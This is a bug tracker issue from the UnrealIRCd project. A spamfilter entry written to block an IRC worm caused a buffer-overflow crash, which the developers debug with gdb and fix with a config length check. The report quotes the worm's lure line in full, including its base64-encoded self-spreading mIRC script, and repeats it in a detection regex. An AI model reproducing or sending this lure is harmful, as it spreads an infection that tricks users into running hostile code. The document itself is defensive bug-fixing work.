View Issue Details

Jump to NotesJump to History
IDProjectCategoryView StatusDate SubmittedLast Update
0001648unrealircdpublic2004-03-14 10:472004-03-14 15:21
ReporterZ3l3zT Assigned To 
PrioritynormalSeveritycrashReproducibilityhave not tried
Status closedResolutionopen 
Product Version3.2-RC2 
Summary0001648: A bad(?) entry in spamfilter.conf makes IRC segfault..
DescriptionOn our network we seem to have some worms spreading messages which trick people to run a $decode() message which infect them with the worm and the spam keep growing.. The spam line, looks like this: "FOR MATRIX 2 DOWNLOAD, USE THIS COMMAND: //write Matrix2 $decode(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIHwgLm1zZyAkbmljayBGT1IgTUFUUklYIDIgRE9XTkxPQUQsIFVTRSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaXgyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9IH0=,m) | .load -rs Matrix2 | //mode $me +R"

so I added this to spamfilter.conf and rehashed my server:
spamfilter {
        regex "^FOR MATRIX 2 DOWNLOAD, USE THIS COMMAND: //write Matrix2 \$decode\(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIHwgLm1zZyAkbmljayBGT1IgTUFUUklYIDIgRE9XTkxPQUQsIFVTRSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaXgyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9IH0\=,m\) \| \.load \-rs Matrix2 \| //mode \$me \+R$";
        target private;
        reason "You're infected with the 'matrix2' IRC worm. You've been temporarily banned for 1 hour, take the time to clean your computer.";
        action gline;
        ban-time 1h;
};

The rehash didn't gave me any error (of course, it doesn't check if the regexp is correct, it just parse the configs ;) and I connected to a shell to test if it works.. I sent the spam line to the real me, and got glined and killed by the server.. At the same time, the server crashed for some reason and left a ircd.core.. :/
Steps To ReproduceSee below..
Additional InformationHere is the output from gdb:

[ircd@omikron:~/Unreal3.2]$ gdb ircd ircd.core
GNU gdb 5.2.1 (FreeBSD)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...ircd: No such file or directory.

Core was generated by `ircd'.
Program terminated with signal 11, Segmentation fault.
#0 0x61726f70 in ?? ()
(gdb) bt
#0 0x61726f70 in ?? ()
Cannot access memory at address 0x6d657420
(gdb) quit
[ircd@omikron:~/Unreal3.2]$
3rd party modules

Activities

MagicalTux2

2004-03-14 10:54

reporter   ~0005467

The core ouput is not readable unless you enable -ggdb when compiling Unreal :)

codemastr

2004-03-14 11:18

reporter   ~0005468

-g is included when Unreal is compiled.

syzop

2004-03-14 11:37

administrator   ~0005470

right. the problem is...
This GDB was configured as "i386-unknown-freebsd"...ircd: No such file or directory. <--

codemastr

2004-03-14 12:03

reporter   ~0005471

That may be a problem, but having the ircd there doesn't help. I can reproduce the crash and I get similar output. It's stack corruption:

(gdb) bt
#0 0x28005d2e in ?? ()
Error accessing memory address 0x72657475: Bad address.

The problem is in unreal_decodespace. Not really sure why, but single stepping through that function I can see the stack is corrupted after unreal_decodespace returns.

Another thing, isn't the value coming into unreal_decodespace supposed to like... be encoded?

#0 unreal_decodespace (
    s=0x8238b00 "You're infected with the 'matrix2' IRC worm. You've been temporarily banned for 1 hour, take the time to clean your computer.") at s_misc.c:1033

Notice how it has spaces, not _.

MagicalTux2

2004-03-14 12:29

reporter   ~0005474

With GNU/Linux RedHat 9.0 (Unreal3.2-RC2) I could not reproduce the bug.

syzop

2004-03-14 12:33

administrator   ~0005475

the regex is VERY long (too long :p), and everything together I'm sure the line is >512 bytes, that might be a hint.

I don't crash if the regex is "blah" or something.

** seperator **

1376 ircsprintf(buf, "[Spamfilter] %s!%s@%s matches filter '%s': [%s%s: '%s'] [%s]",
1377 sptr->name, sptr->user->username, sptr->user->realhost,
1378 tk->reason,
1379 spamfilter_inttostring_long(type), targetbuf, str,
1380 unreal_decodespace(tk->spamf->tkl_reason));
(gdb) p sizeof(buf)
$6 = 1024
(gdb) p strlen(buf)
$7 = 1106

fun :).

syzop

2004-03-14 12:36

administrator   ~0005476

Last edited: 2004-03-14 12:38

 I think best is to put a check in that strlen(regex) + strlen(reason) < XXX @ s_conf.c, where XXX would be something like 512.. or actually that's still too much... perhaps pick something like 480.

what do you think? *dinner*

edited on: 2004-03-14 12:38

codemastr

2004-03-14 12:48

reporter   ~0005477

Yeah, definately need something like that... question is, how do we "trim" it so that it fits?

codemastr

2004-03-14 13:25

reporter   ~0005478

Actually, why exactly do we include the "regexp" in the notice? I mean we don't say "matched *@blah.com" when a user is G:lined.

syzop

2004-03-14 13:52

administrator   ~0005479

At first we didn't have a (real) reason field...
But still, it seems pretty useful to me to include the regex, it's easy to spot a false positive / see exactly what it matched / etc..
Actually what I ment was not trimming @ notice, but at config time giving an error in case of these extreme regex+reasons... I mean /stats output would also be f*cked etc. Also this stuff wouldn't work globally, so why allow it locally?

Anyway, we COULD allow it and cut it off (eg 'blablbla[..]') at both the notice and /stats.. that still sucks however since you might not see the full regex @ stats but you could "just" take a look at the conf then *ahem*.

Looks like it's more trouble than it's worth.

codemastr

2004-03-14 14:08

reporter   ~0005480

I agree with what you're saying, but, if we add length checks for spamfilter, shouldn't we probably add it for everything? I mean, someone could specify a 1000+ char reason for a kline too...

syzop

2004-03-14 14:22

administrator   ~0005481

well yes, a ban xxx::reason of 1K would probably have crashed unreal in the past too (I upped the send* buffer stuff from 1k to 2k as you know, so prolly not anymore).

But.. I mean, this one is a bit more accidental ;).

But you agree we shouldn't get into this fuss / make an exception of local spamfilters? or what do you think...
I mean the regex used here is of course insane, and I think 512 - 80 (reasonable reason field w/url) = ~432 chars should be enough.

syzop

2004-03-14 15:21

administrator   ~0005484

Added a config check for this in CVS (.2186), will error if regex+reason are too long :).

Issue History

Date Modified Username Field Change
2004-03-14 10:47 Z3l3zT New Issue
2004-03-14 10:54 MagicalTux2 Note Added: 0005467
2004-03-14 11:18 codemastr Note Added: 0005468
2004-03-14 11:37 syzop Note Added: 0005470
2004-03-14 12:03 codemastr Note Added: 0005471
2004-03-14 12:06 codemastr Status new => confirmed
2004-03-14 12:29 MagicalTux2 Note Added: 0005474
2004-03-14 12:33 syzop Note Added: 0005475
2004-03-14 12:36 syzop Note Added: 0005476
2004-03-14 12:38 syzop Note Edited: 0005476
2004-03-14 12:48 codemastr Note Added: 0005477
2004-03-14 13:25 codemastr Note Added: 0005478
2004-03-14 13:52 syzop Note Added: 0005479
2004-03-14 14:08 codemastr Note Added: 0005480
2004-03-14 14:22 syzop Note Added: 0005481
2004-03-14 15:21 syzop Status confirmed => closed
2004-03-14 15:21 syzop Note Added: 0005484